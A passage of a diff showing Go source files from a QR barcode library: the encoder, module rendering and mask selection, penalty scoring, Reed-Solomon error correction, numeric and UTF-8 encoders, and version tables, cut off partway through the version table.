||||
}
|
||||
}
|
||||
for i := 0; i < int(vi.ErrorCorrectionCodewordsPerBlock); i++ {
|
||||
for b := 0; b < len(bl); b++ {
|
||||
result = append(result, bl[b].ecc[i])
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
+416
@@ -0,0 +1,416 @@
|
||||
// Package qr can be used to create QR barcodes.
|
||||
package qr
|
||||
|
||||
import (
|
||||
"image"
|
||||
|
||||
"github.com/boombuler/barcode"
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
type encodeFn func(content string, eccLevel ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error)
|
||||
|
||||
// Encoding mode for QR Codes.
|
||||
type Encoding byte
|
||||
|
||||
const (
|
||||
// Auto will choose ths best matching encoding
|
||||
Auto Encoding = iota
|
||||
// Numeric encoding only encodes numbers [0-9]
|
||||
Numeric
|
||||
// AlphaNumeric encoding only encodes uppercase letters, numbers and [Space], $, %, *, +, -, ., /, :
|
||||
AlphaNumeric
|
||||
// Unicode encoding encodes the string as utf-8
|
||||
Unicode
|
||||
// only for testing purpose
|
||||
unknownEncoding
|
||||
)
|
||||
|
||||
func (e Encoding) getEncoder() encodeFn {
|
||||
switch e {
|
||||
case Auto:
|
||||
return encodeAuto
|
||||
case Numeric:
|
||||
return encodeNumeric
|
||||
case AlphaNumeric:
|
||||
return encodeAlphaNumeric
|
||||
case Unicode:
|
||||
return encodeUnicode
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e Encoding) String() string {
|
||||
switch e {
|
||||
case Auto:
|
||||
return "Auto"
|
||||
case Numeric:
|
||||
return "Numeric"
|
||||
case AlphaNumeric:
|
||||
return "AlphaNumeric"
|
||||
case Unicode:
|
||||
return "Unicode"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// Encode returns a QR barcode with the given content, error correction level and uses the given encoding
|
||||
func Encode(content string, level ErrorCorrectionLevel, mode Encoding) (barcode.Barcode, error) {
|
||||
bits, vi, err := mode.getEncoder()(content, level)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
blocks := splitToBlocks(bits.IterateBytes(), vi)
|
||||
data := blocks.interleave(vi)
|
||||
result := render(data, vi)
|
||||
result.content = content
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func render(data []byte, vi *versionInfo) *qrcode {
|
||||
dim := vi.modulWidth()
|
||||
results := make([]*qrcode, 8)
|
||||
for i := 0; i < 8; i++ {
|
||||
results[i] = newBarcode(dim)
|
||||
}
|
||||
|
||||
occupied := newBarcode(dim)
|
||||
|
||||
setAll := func(x int, y int, val bool) {
|
||||
occupied.Set(x, y, true)
|
||||
for i := 0; i < 8; i++ {
|
||||
results[i].Set(x, y, val)
|
||||
}
|
||||
}
|
||||
|
||||
drawFinderPatterns(vi, setAll)
|
||||
drawAlignmentPatterns(occupied, vi, setAll)
|
||||
|
||||
//Timing Pattern:
|
||||
var i int
|
||||
for i = 0; i < dim; i++ {
|
||||
if !occupied.Get(i, 6) {
|
||||
setAll(i, 6, i%2 == 0)
|
||||
}
|
||||
if !occupied.Get(6, i) {
|
||||
setAll(6, i, i%2 == 0)
|
||||
}
|
||||
}
|
||||
// Dark Module
|
||||
setAll(8, dim-8, true)
|
||||
|
||||
drawVersionInfo(vi, setAll)
|
||||
drawFormatInfo(vi, -1, occupied.Set)
|
||||
for i := 0; i < 8; i++ {
|
||||
drawFormatInfo(vi, i, results[i].Set)
|
||||
}
|
||||
|
||||
// Write the data
|
||||
var curBitNo int
|
||||
|
||||
for pos := range iterateModules(occupied) {
|
||||
var curBit bool
|
||||
if curBitNo < len(data)*8 {
|
||||
curBit = ((data[curBitNo/8] >> uint(7-(curBitNo%8))) & 1) == 1
|
||||
} else {
|
||||
curBit = false
|
||||
}
|
||||
|
||||
for i := 0; i < 8; i++ {
|
||||
setMasked(pos.X, pos.Y, curBit, i, results[i].Set)
|
||||
}
|
||||
curBitNo++
|
||||
}
|
||||
|
||||
lowestPenalty := ^uint(0)
|
||||
lowestPenaltyIdx := -1
|
||||
for i := 0; i < 8; i++ {
|
||||
p := results[i].calcPenalty()
|
||||
if p < lowestPenalty {
|
||||
lowestPenalty = p
|
||||
lowestPenaltyIdx = i
|
||||
}
|
||||
}
|
||||
return results[lowestPenaltyIdx]
|
||||
}
|
||||
|
||||
func setMasked(x, y int, val bool, mask int, set func(int, int, bool)) {
|
||||
switch mask {
|
||||
case 0:
|
||||
val = val != (((y + x) % 2) == 0)
|
||||
break
|
||||
case 1:
|
||||
val = val != ((y % 2) == 0)
|
||||
break
|
||||
case 2:
|
||||
val = val != ((x % 3) == 0)
|
||||
break
|
||||
case 3:
|
||||
val = val != (((y + x) % 3) == 0)
|
||||
break
|
||||
case 4:
|
||||
val = val != (((y/2 + x/3) % 2) == 0)
|
||||
break
|
||||
case 5:
|
||||
val = val != (((y*x)%2)+((y*x)%3) == 0)
|
||||
break
|
||||
case 6:
|
||||
val = val != ((((y*x)%2)+((y*x)%3))%2 == 0)
|
||||
break
|
||||
case 7:
|
||||
val = val != ((((y+x)%2)+((y*x)%3))%2 == 0)
|
||||
}
|
||||
set(x, y, val)
|
||||
}
|
||||
|
||||
func iterateModules(occupied *qrcode) <-chan image.Point {
|
||||
result := make(chan image.Point)
|
||||
allPoints := make(chan image.Point)
|
||||
go func() {
|
||||
curX := occupied.dimension - 1
|
||||
curY := occupied.dimension - 1
|
||||
isUpward := true
|
||||
|
||||
for true {
|
||||
if isUpward {
|
||||
allPoints <- image.Pt(curX, curY)
|
||||
allPoints <- image.Pt(curX-1, curY)
|
||||
curY--
|
||||
if curY < 0 {
|
||||
curY = 0
|
||||
curX -= 2
|
||||
if curX == 6 {
|
||||
curX--
|
||||
}
|
||||
if curX < 0 {
|
||||
break
|
||||
}
|
||||
isUpward = false
|
||||
}
|
||||
} else {
|
||||
allPoints <- image.Pt(curX, curY)
|
||||
allPoints <- image.Pt(curX-1, curY)
|
||||
curY++
|
||||
if curY >= occupied.dimension {
|
||||
curY = occupied.dimension - 1
|
||||
curX -= 2
|
||||
if curX == 6 {
|
||||
curX--
|
||||
}
|
||||
isUpward = true
|
||||
if curX < 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
close(allPoints)
|
||||
}()
|
||||
go func() {
|
||||
for pt := range allPoints {
|
||||
if !occupied.Get(pt.X, pt.Y) {
|
||||
result <- pt
|
||||
}
|
||||
}
|
||||
close(result)
|
||||
}()
|
||||
return result
|
||||
}
|
||||
|
||||
func drawFinderPatterns(vi *versionInfo, set func(int, int, bool)) {
|
||||
dim := vi.modulWidth()
|
||||
drawPattern := func(xoff int, yoff int) {
|
||||
for x := -1; x < 8; x++ {
|
||||
for y := -1; y < 8; y++ {
|
||||
val := (x == 0 || x == 6 || y == 0 || y == 6 || (x > 1 && x < 5 && y > 1 && y < 5)) && (x <= 6 && y <= 6 && x >= 0 && y >= 0)
|
||||
|
||||
if x+xoff >= 0 && x+xoff < dim && y+yoff >= 0 && y+yoff < dim {
|
||||
set(x+xoff, y+yoff, val)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
drawPattern(0, 0)
|
||||
drawPattern(0, dim-7)
|
||||
drawPattern(dim-7, 0)
|
||||
}
|
||||
|
||||
func drawAlignmentPatterns(occupied *qrcode, vi *versionInfo, set func(int, int, bool)) {
|
||||
drawPattern := func(xoff int, yoff int) {
|
||||
for x := -2; x <= 2; x++ {
|
||||
for y := -2; y <= 2; y++ {
|
||||
val := x == -2 || x == 2 || y == -2 || y == 2 || (x == 0 && y == 0)
|
||||
set(x+xoff, y+yoff, val)
|
||||
}
|
||||
}
|
||||
}
|
||||
positions := vi.alignmentPatternPlacements()
|
||||
|
||||
for _, x := range positions {
|
||||
for _, y := range positions {
|
||||
if occupied.Get(x, y) {
|
||||
continue
|
||||
}
|
||||
drawPattern(x, y)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var formatInfos = map[ErrorCorrectionLevel]map[int][]bool{
|
||||
L: {
|
||||
0: []bool{true, true, true, false, true, true, true, true, true, false, false, false, true, false, false},
|
||||
1: []bool{true, true, true, false, false, true, false, true, true, true, true, false, false, true, true},
|
||||
2: []bool{true, true, true, true, true, false, true, true, false, true, false, true, false, true, false},
|
||||
3: []bool{true, true, true, true, false, false, false, true, false, false, true, true, true, false, true},
|
||||
4: []bool{true, true, false, false, true, true, false, false, false, true, false, true, true, true, true},
|
||||
5: []bool{true, true, false, false, false, true, true, false, false, false, true, true, false, false, false},
|
||||
6: []bool{true, true, false, true, true, false, false, false, true, false, false, false, false, false, true},
|
||||
7: []bool{true, true, false, true, false, false, true, false, true, true, true, false, true, true, false},
|
||||
},
|
||||
M: {
|
||||
0: []bool{true, false, true, false, true, false, false, false, false, false, true, false, false, true, false},
|
||||
1: []bool{true, false, true, false, false, false, true, false, false, true, false, false, true, false, true},
|
||||
2: []bool{true, false, true, true, true, true, false, false, true, true, true, true, true, false, false},
|
||||
3: []bool{true, false, true, true, false, true, true, false, true, false, false, true, false, true, true},
|
||||
4: []bool{true, false, false, false, true, false, true, true, true, true, true, true, false, false, true},
|
||||
5: []bool{true, false, false, false, false, false, false, true, true, false, false, true, true, true, false},
|
||||
6: []bool{true, false, false, true, true, true, true, true, false, false, true, false, true, true, true},
|
||||
7: []bool{true, false, false, true, false, true, false, true, false, true, false, false, false, false, false},
|
||||
},
|
||||
Q: {
|
||||
0: []bool{false, true, true, false, true, false, true, false, true, false, true, true, true, true, true},
|
||||
1: []bool{false, true, true, false, false, false, false, false, true, true, false, true, false, false, false},
|
||||
2: []bool{false, true, true, true, true, true, true, false, false, true, true, false, false, false, true},
|
||||
3: []bool{false, true, true, true, false, true, false, false, false, false, false, false, true, true, false},
|
||||
4: []bool{false, true, false, false, true, false, false, true, false, true, true, false, true, false, false},
|
||||
5: []bool{false, true, false, false, false, false, true, true, false, false, false, false, false, true, true},
|
||||
6: []bool{false, true, false, true, true, true, false, true, true, false, true, true, false, true, false},
|
||||
7: []bool{false, true, false, true, false, true, true, true, true, true, false, true, true, false, true},
|
||||
},
|
||||
H: {
|
||||
0: []bool{false, false, true, false, true, true, false, true, false, false, false, true, false, false, true},
|
||||
1: []bool{false, false, true, false, false, true, true, true, false, true, true, true, true, true, false},
|
||||
2: []bool{false, false, true, true, true, false, false, true, true, true, false, false, true, true, true},
|
||||
3: []bool{false, false, true, true, false, false, true, true, true, false, true, false, false, false, false},
|
||||
4: []bool{false, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
|
||||
5: []bool{false, false, false, false, false, true, false, false, true, false, true, false, true, false, true},
|
||||
6: []bool{false, false, false, true, true, false, true, false, false, false, false, true, true, false, false},
|
||||
7: []bool{false, false, false, true, false, false, false, false, false, true, true, true, false, true, true},
|
||||
},
|
||||
}
|
||||
|
||||
func drawFormatInfo(vi *versionInfo, usedMask int, set func(int, int, bool)) {
|
||||
var formatInfo []bool
|
||||
|
||||
if usedMask == -1 {
|
||||
formatInfo = []bool{true, true, true, true, true, true, true, true, true, true, true, true, true, true, true} // Set all to true cause -1 --> occupied mask.
|
||||
} else {
|
||||
formatInfo = formatInfos[vi.Level][usedMask]
|
||||
}
|
||||
|
||||
if len(formatInfo) == 15 {
|
||||
dim := vi.modulWidth()
|
||||
set(0, 8, formatInfo[0])
|
||||
set(1, 8, formatInfo[1])
|
||||
set(2, 8, formatInfo[2])
|
||||
set(3, 8, formatInfo[3])
|
||||
set(4, 8, formatInfo[4])
|
||||
set(5, 8, formatInfo[5])
|
||||
set(7, 8, formatInfo[6])
|
||||
set(8, 8, formatInfo[7])
|
||||
set(8, 7, formatInfo[8])
|
||||
set(8, 5, formatInfo[9])
|
||||
set(8, 4, formatInfo[10])
|
||||
set(8, 3, formatInfo[11])
|
||||
set(8, 2, formatInfo[12])
|
||||
set(8, 1, formatInfo[13])
|
||||
set(8, 0, formatInfo[14])
|
||||
|
||||
set(8, dim-1, formatInfo[0])
|
||||
set(8, dim-2, formatInfo[1])
|
||||
set(8, dim-3, formatInfo[2])
|
||||
set(8, dim-4, formatInfo[3])
|
||||
set(8, dim-5, formatInfo[4])
|
||||
set(8, dim-6, formatInfo[5])
|
||||
set(8, dim-7, formatInfo[6])
|
||||
set(dim-8, 8, formatInfo[7])
|
||||
set(dim-7, 8, formatInfo[8])
|
||||
set(dim-6, 8, formatInfo[9])
|
||||
set(dim-5, 8, formatInfo[10])
|
||||
set(dim-4, 8, formatInfo[11])
|
||||
set(dim-3, 8, formatInfo[12])
|
||||
set(dim-2, 8, formatInfo[13])
|
||||
set(dim-1, 8, formatInfo[14])
|
||||
}
|
||||
}
|
||||
|
||||
var versionInfoBitsByVersion = map[byte][]bool{
|
||||
7: []bool{false, false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false},
|
||||
8: []bool{false, false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false},
|
||||
9: []bool{false, false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true},
|
||||
10: []bool{false, false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true},
|
||||
11: []bool{false, false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false},
|
||||
12: []bool{false, false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
|
||||
13: []bool{false, false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true},
|
||||
14: []bool{false, false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true},
|
||||
15: []bool{false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false},
|
||||
16: []bool{false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false},
|
||||
17: []bool{false, true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true},
|
||||
18: []bool{false, true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true},
|
||||
19: []bool{false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false},
|
||||
20: []bool{false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true, false},
|
||||
21: []bool{false, true, false, true, false, true, false, true, true, false, true, false, false, false, false, false, true, true},
|
||||
22: []bool{false, true, false, true, true, false, true, false, false, false, true, true, false, false, true, false, false, true},
|
||||
23: []bool{false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false, false},
|
||||
24: []bool{false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false, false},
|
||||
25: []bool{false, true, true, false, false, true, false, false, false, true, true, true, true, false, false, false, false, true},
|
||||
26: []bool{false, true, true, false, true, false, true, true, true, true, true, false, true, false, true, false, true, true},
|
||||
27: []bool{false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true, false},
|
||||
28: []bool{false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true, false},
|
||||
29: []bool{false, true, true, true, false, true, false, false, true, true, false, false, true, true, true, true, true, true},
|
||||
30: []bool{false, true, true, true, true, false, true, true, false, true, false, true, true, true, false, true, false, true},
|
||||
31: []bool{false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false, false},
|
||||
32: []bool{true, false, false, false, false, false, true, false, false, true, true, true, false, true, false, true, false, true},
|
||||
33: []bool{true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false, false},
|
||||
34: []bool{true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true, false},
|
||||
35: []bool{true, false, false, false, true, true, false, true, true, true, true, false, false, true, true, true, true, true},
|
||||
36: []bool{true, false, false, true, false, false, true, false, true, true, false, false, false, false, true, false, true, true},
|
||||
37: []bool{true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true, false},
|
||||
38: []bool{true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false, false},
|
||||
39: []bool{true, false, false, true, true, true, false, true, false, true, false, true, false, false, false, false, false, true},
|
||||
40: []bool{true, false, true, false, false, false, true, true, false, false, false, true, true, false, true, false, false, true},
|
||||
}
|
||||
|
||||
func drawVersionInfo(vi *versionInfo, set func(int, int, bool)) {
|
||||
versionInfoBits, ok := versionInfoBitsByVersion[vi.Version]
|
||||
|
||||
if ok && len(versionInfoBits) > 0 {
|
||||
for i := 0; i < len(versionInfoBits); i++ {
|
||||
x := (vi.modulWidth() - 11) + i%3
|
||||
y := i / 3
|
||||
set(x, y, versionInfoBits[len(versionInfoBits)-i-1])
|
||||
set(y, x, versionInfoBits[len(versionInfoBits)-i-1])
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func addPaddingAndTerminator(bl *utils.BitList, vi *versionInfo) {
|
||||
for i := 0; i < 4 && bl.Len() < vi.totalDataBytes()*8; i++ {
|
||||
bl.AddBit(false)
|
||||
}
|
||||
|
||||
for bl.Len()%8 != 0 {
|
||||
bl.AddBit(false)
|
||||
}
|
||||
|
||||
for i := 0; bl.Len() < vi.totalDataBytes()*8; i++ {
|
||||
if i%2 == 0 {
|
||||
bl.AddByte(236)
|
||||
} else {
|
||||
bl.AddByte(17)
|
||||
}
|
||||
}
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
type errorCorrection struct {
|
||||
rs *utils.ReedSolomonEncoder
|
||||
}
|
||||
|
||||
var ec = newErrorCorrection()
|
||||
|
||||
func newErrorCorrection() *errorCorrection {
|
||||
fld := utils.NewGaloisField(285, 256, 0)
|
||||
return &errorCorrection{utils.NewReedSolomonEncoder(fld)}
|
||||
}
|
||||
|
||||
func (ec *errorCorrection) calcECC(data []byte, eccCount byte) []byte {
|
||||
dataInts := make([]int, len(data))
|
||||
for i := 0; i < len(data); i++ {
|
||||
dataInts[i] = int(data[i])
|
||||
}
|
||||
res := ec.rs.Encode(dataInts, int(eccCount))
|
||||
result := make([]byte, len(res))
|
||||
for i := 0; i < len(res); i++ {
|
||||
result[i] = byte(res[i])
|
||||
}
|
||||
return result
|
||||
}
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
func encodeNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
|
||||
contentBitCount := (len(content) / 3) * 10
|
||||
switch len(content) % 3 {
|
||||
case 1:
|
||||
contentBitCount += 4
|
||||
case 2:
|
||||
contentBitCount += 7
|
||||
}
|
||||
vi := findSmallestVersionInfo(ecl, numericMode, contentBitCount)
|
||||
if vi == nil {
|
||||
return nil, nil, errors.New("To much data to encode")
|
||||
}
|
||||
res := new(utils.BitList)
|
||||
res.AddBits(int(numericMode), 4)
|
||||
res.AddBits(len(content), vi.charCountBits(numericMode))
|
||||
|
||||
for pos := 0; pos < len(content); pos += 3 {
|
||||
var curStr string
|
||||
if pos+3 <= len(content) {
|
||||
curStr = content[pos : pos+3]
|
||||
} else {
|
||||
curStr = content[pos:]
|
||||
}
|
||||
|
||||
i, err := strconv.Atoi(curStr)
|
||||
if err != nil || i < 0 {
|
||||
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, Numeric)
|
||||
}
|
||||
var bitCnt byte
|
||||
switch len(curStr) % 3 {
|
||||
case 0:
|
||||
bitCnt = 10
|
||||
case 1:
|
||||
bitCnt = 4
|
||||
break
|
||||
case 2:
|
||||
bitCnt = 7
|
||||
break
|
||||
}
|
||||
|
||||
res.AddBits(i, bitCnt)
|
||||
}
|
||||
|
||||
addPaddingAndTerminator(res, vi)
|
||||
return res, vi, nil
|
||||
}
|
||||
+166
@@ -0,0 +1,166 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"image"
|
||||
"image/color"
|
||||
"math"
|
||||
|
||||
"github.com/boombuler/barcode"
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
type qrcode struct {
|
||||
dimension int
|
||||
data *utils.BitList
|
||||
content string
|
||||
}
|
||||
|
||||
func (qr *qrcode) Content() string {
|
||||
return qr.content
|
||||
}
|
||||
|
||||
func (qr *qrcode) Metadata() barcode.Metadata {
|
||||
return barcode.Metadata{barcode.TypeQR, 2}
|
||||
}
|
||||
|
||||
func (qr *qrcode) ColorModel() color.Model {
|
||||
return color.Gray16Model
|
||||
}
|
||||
|
||||
func (qr *qrcode) Bounds() image.Rectangle {
|
||||
return image.Rect(0, 0, qr.dimension, qr.dimension)
|
||||
}
|
||||
|
||||
func (qr *qrcode) At(x, y int) color.Color {
|
||||
if qr.Get(x, y) {
|
||||
return color.Black
|
||||
}
|
||||
return color.White
|
||||
}
|
||||
|
||||
func (qr *qrcode) Get(x, y int) bool {
|
||||
return qr.data.GetBit(x*qr.dimension + y)
|
||||
}
|
||||
|
||||
func (qr *qrcode) Set(x, y int, val bool) {
|
||||
qr.data.SetBit(x*qr.dimension+y, val)
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenalty() uint {
|
||||
return qr.calcPenaltyRule1() + qr.calcPenaltyRule2() + qr.calcPenaltyRule3() + qr.calcPenaltyRule4()
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenaltyRule1() uint {
|
||||
var result uint
|
||||
for x := 0; x < qr.dimension; x++ {
|
||||
checkForX := false
|
||||
var cntX uint
|
||||
checkForY := false
|
||||
var cntY uint
|
||||
|
||||
for y := 0; y < qr.dimension; y++ {
|
||||
if qr.Get(x, y) == checkForX {
|
||||
cntX++
|
||||
} else {
|
||||
checkForX = !checkForX
|
||||
if cntX >= 5 {
|
||||
result += cntX - 2
|
||||
}
|
||||
cntX = 1
|
||||
}
|
||||
|
||||
if qr.Get(y, x) == checkForY {
|
||||
cntY++
|
||||
} else {
|
||||
checkForY = !checkForY
|
||||
if cntY >= 5 {
|
||||
result += cntY - 2
|
||||
}
|
||||
cntY = 1
|
||||
}
|
||||
}
|
||||
|
||||
if cntX >= 5 {
|
||||
result += cntX - 2
|
||||
}
|
||||
if cntY >= 5 {
|
||||
result += cntY - 2
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenaltyRule2() uint {
|
||||
var result uint
|
||||
for x := 0; x < qr.dimension-1; x++ {
|
||||
for y := 0; y < qr.dimension-1; y++ {
|
||||
check := qr.Get(x, y)
|
||||
if qr.Get(x, y+1) == check && qr.Get(x+1, y) == check && qr.Get(x+1, y+1) == check {
|
||||
result += 3
|
||||
}
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenaltyRule3() uint {
|
||||
pattern1 := []bool{true, false, true, true, true, false, true, false, false, false, false}
|
||||
pattern2 := []bool{false, false, false, false, true, false, true, true, true, false, true}
|
||||
|
||||
var result uint
|
||||
for x := 0; x <= qr.dimension-len(pattern1); x++ {
|
||||
for y := 0; y < qr.dimension; y++ {
|
||||
pattern1XFound := true
|
||||
pattern2XFound := true
|
||||
pattern1YFound := true
|
||||
pattern2YFound := true
|
||||
|
||||
for i := 0; i < len(pattern1); i++ {
|
||||
iv := qr.Get(x+i, y)
|
||||
if iv != pattern1[i] {
|
||||
pattern1XFound = false
|
||||
}
|
||||
if iv != pattern2[i] {
|
||||
pattern2XFound = false
|
||||
}
|
||||
iv = qr.Get(y, x+i)
|
||||
if iv != pattern1[i] {
|
||||
pattern1YFound = false
|
||||
}
|
||||
if iv != pattern2[i] {
|
||||
pattern2YFound = false
|
||||
}
|
||||
}
|
||||
if pattern1XFound || pattern2XFound {
|
||||
result += 40
|
||||
}
|
||||
if pattern1YFound || pattern2YFound {
|
||||
result += 40
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenaltyRule4() uint {
|
||||
totalNum := qr.data.Len()
|
||||
trueCnt := 0
|
||||
for i := 0; i < totalNum; i++ {
|
||||
if qr.data.GetBit(i) {
|
||||
trueCnt++
|
||||
}
|
||||
}
|
||||
percDark := float64(trueCnt) * 100 / float64(totalNum)
|
||||
floor := math.Abs(math.Floor(percDark/5) - 10)
|
||||
ceil := math.Abs(math.Ceil(percDark/5) - 10)
|
||||
return uint(math.Min(floor, ceil) * 10)
|
||||
}
|
||||
|
||||
func newBarcode(dim int) *qrcode {
|
||||
res := new(qrcode)
|
||||
res.dimension = dim
|
||||
res.data = utils.NewBitList(dim * dim)
|
||||
return res
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
func encodeUnicode(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
|
||||
data := []byte(content)
|
||||
|
||||
vi := findSmallestVersionInfo(ecl, byteMode, len(data)*8)
|
||||
if vi == nil {
|
||||
return nil, nil, errors.New("To much data to encode")
|
||||
}
|
||||
|
||||
// It's not correct to add the unicode bytes to the result directly but most readers can't handle the
|
||||
// required ECI header...
|
||||
res := new(utils.BitList)
|
||||
res.AddBits(int(byteMode), 4)
|
||||
res.AddBits(len(content), vi.charCountBits(byteMode))
|
||||
for _, b := range data {
|
||||
res.AddByte(b)
|
||||
}
|
||||
addPaddingAndTerminator(res, vi)
|
||||
return res, vi, nil
|
||||
}
|
||||
+310
@@ -0,0 +1,310 @@
|
||||
package qr
|
||||
|
||||
import "math"
|
||||
|
||||
// ErrorCorrectionLevel indicates the amount of "backup data" stored in the QR code
|
||||
type ErrorCorrectionLevel byte
|
||||
|
||||
const (
|
||||
// L recovers 7% of data
|
||||
L ErrorCorrectionLevel = iota
|
||||
// M recovers 15% of data
|
||||
M
|
||||
// Q recovers 25% of data
|
||||
Q
|
||||
// H recovers 30% of data
|
||||
H
|
||||
)
|
||||
|
||||
func (ecl ErrorCorrectionLevel) String() string {
|
||||
switch ecl {
|
||||
case L:
|
||||
return "L"
|
||||
case M:
|
||||
return "M"
|
||||
case Q:
|
||||
return "Q"
|
||||
case H:
|
||||
return "H"
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
type encodingMode byte
|
||||
|
||||
const (
|
||||
numericMode encodingMode = 1
|
||||
alphaNumericMode encodingMode = 2
|
||||
byteMode encodingMode = 4
|
||||
kanjiMode encodingMode = 8
|
||||
)
|
||||
|
||||
type versionInfo struct {
|
||||
Version byte
|
||||
Level ErrorCorrectionLevel
|
||||
ErrorCorrectionCodewordsPerBlock byte
|
||||
NumberOfBlocksInGroup1 byte
|
||||
DataCodeWordsPerBlockInGroup1 byte
|
||||
NumberOfBlocksInGroup2 byte
|
||||
DataCodeWordsPerBlockInGroup2 byte
|
||||
}
|
||||
|
||||
var versionInfos = []*versionInfo{
|
||||
&versionInfo{1, L, 7, 1, 19, 0, 0},
|
||||
&versionInfo{1, M, 10, 1, 16, 0, 0},
|
||||
&versionInfo{1, Q, 13, 1, 13, 0, 0},
|
||||
&versionInfo{1, H, 17, 1, 9, 0, 0},
|
||||
&versionInfo{2, L, 10, 1, 34, 0, 0},
|
||||
&versionInfo{2, M, 16, 1, 28, 0, 0},
|
||||
&versionInfo{2, Q, 22, 1, 22, 0, 0},
|
||||
&versionInfo{2, H, 28, 1, 16, 0, 0},
|
||||
&versionInfo{3, L, 15, 1, 55, 0, 0},
|
||||
&versionInfo{3, M, 26, 1, 44, 0, 0},
|
||||
&versionInfo{3, Q, 18, 2, 17, 0, 0},
|
||||
&versionInfo{3, H, 22, 2, 13, 0, 0},
|
||||
&versionInfo{4, L, 20, 1, 80, 0, 0},
|
||||
&versionInfo{4, M, 18, 2, 32, 0, 0},
|
||||
&versionInfo{4, Q, 26, 2, 24, 0, 0},
|
||||
&versionInfo{4, H, 16, 4, 9, 0, 0},
|
||||
&versionInfo{5, L, 26, 1, 108, 0, 0},
|
||||
&versionInfo{5, M, 24, 2, 43, 0, 0},
|
||||
&versionInfo{5, Q, 18, 2, 15, 2, 16},
|
||||
&versionInfo{5, H, 22, 2, 11, 2, 12},
|
||||
&versionInfo{6, L, 18, 2, 68, 0, 0},
|
||||
&versionInfo{6, M, 16, 4, 27, 0, 0},
|
||||
&versionInfo{6, Q, 24, 4, 19, 0, 0},
|
||||
&versionInfo{6, H, 28, 4, 15, 0, 0},
|
||||
&versionInfo{7, L, 20, 2, 78, 0, 0},
|
||||
&versionInfo{7, M, 18, 4, 31, 0, 0},
|
||||
&versionInfo{7, Q, 18, 2, 14, 4, 15},
|
||||
&versionInfo{7, H, 26, 4, 13, 1, 14},
|
||||
&versionInfo{8, L, 24, 2, 97, 0, 0},
|
||||
&versionInfo{8, M, 22, 2, 38, 2, 39},
|
||||
&versionInfo{8, Q, 22, 4, 18, 2, 19},
|
||||
&versionInfo{8, H, 26, 4, 14, 2, 15},
|
||||
&versionInfo{9, L, 30, 2, 116, 0, 0},
|
||||
&versionInfo{9, M, 22, 3, 36, 2, 37},
|
||||
&versionInfo{9, Q, 20, 4, 16, 4, 17},
|
||||
&versionInfo{9, H, 24, 4, 12, 4, 13},
|
||||
&versionInfo{10, L, 18, 2, 68, 2, 69},
|
||||
&versionInfo{10, M, 26, 4, 43, 1, 44},
|
||||
&versionInfo{10, Q, 24, 6, 19, 2, 20},
|
||||
&versionInfo{10, H, 28, 6, 15, 2, 16},
|
||||
&versionInfo{11, L, 20, 4, 81, 0, 0},
|
||||
&versionInfo{11, M, 30, 1, 50, 4, 51},
|
||||
&versionInfo{11, Q, 28, 4, 22, 4, 23},
|
||||
&versionInfo{11, H, 24, 3, 12, 8, 13},
|
||||
&versionInfo{12, L, 24, 2, 92, 2, 93},
|
||||
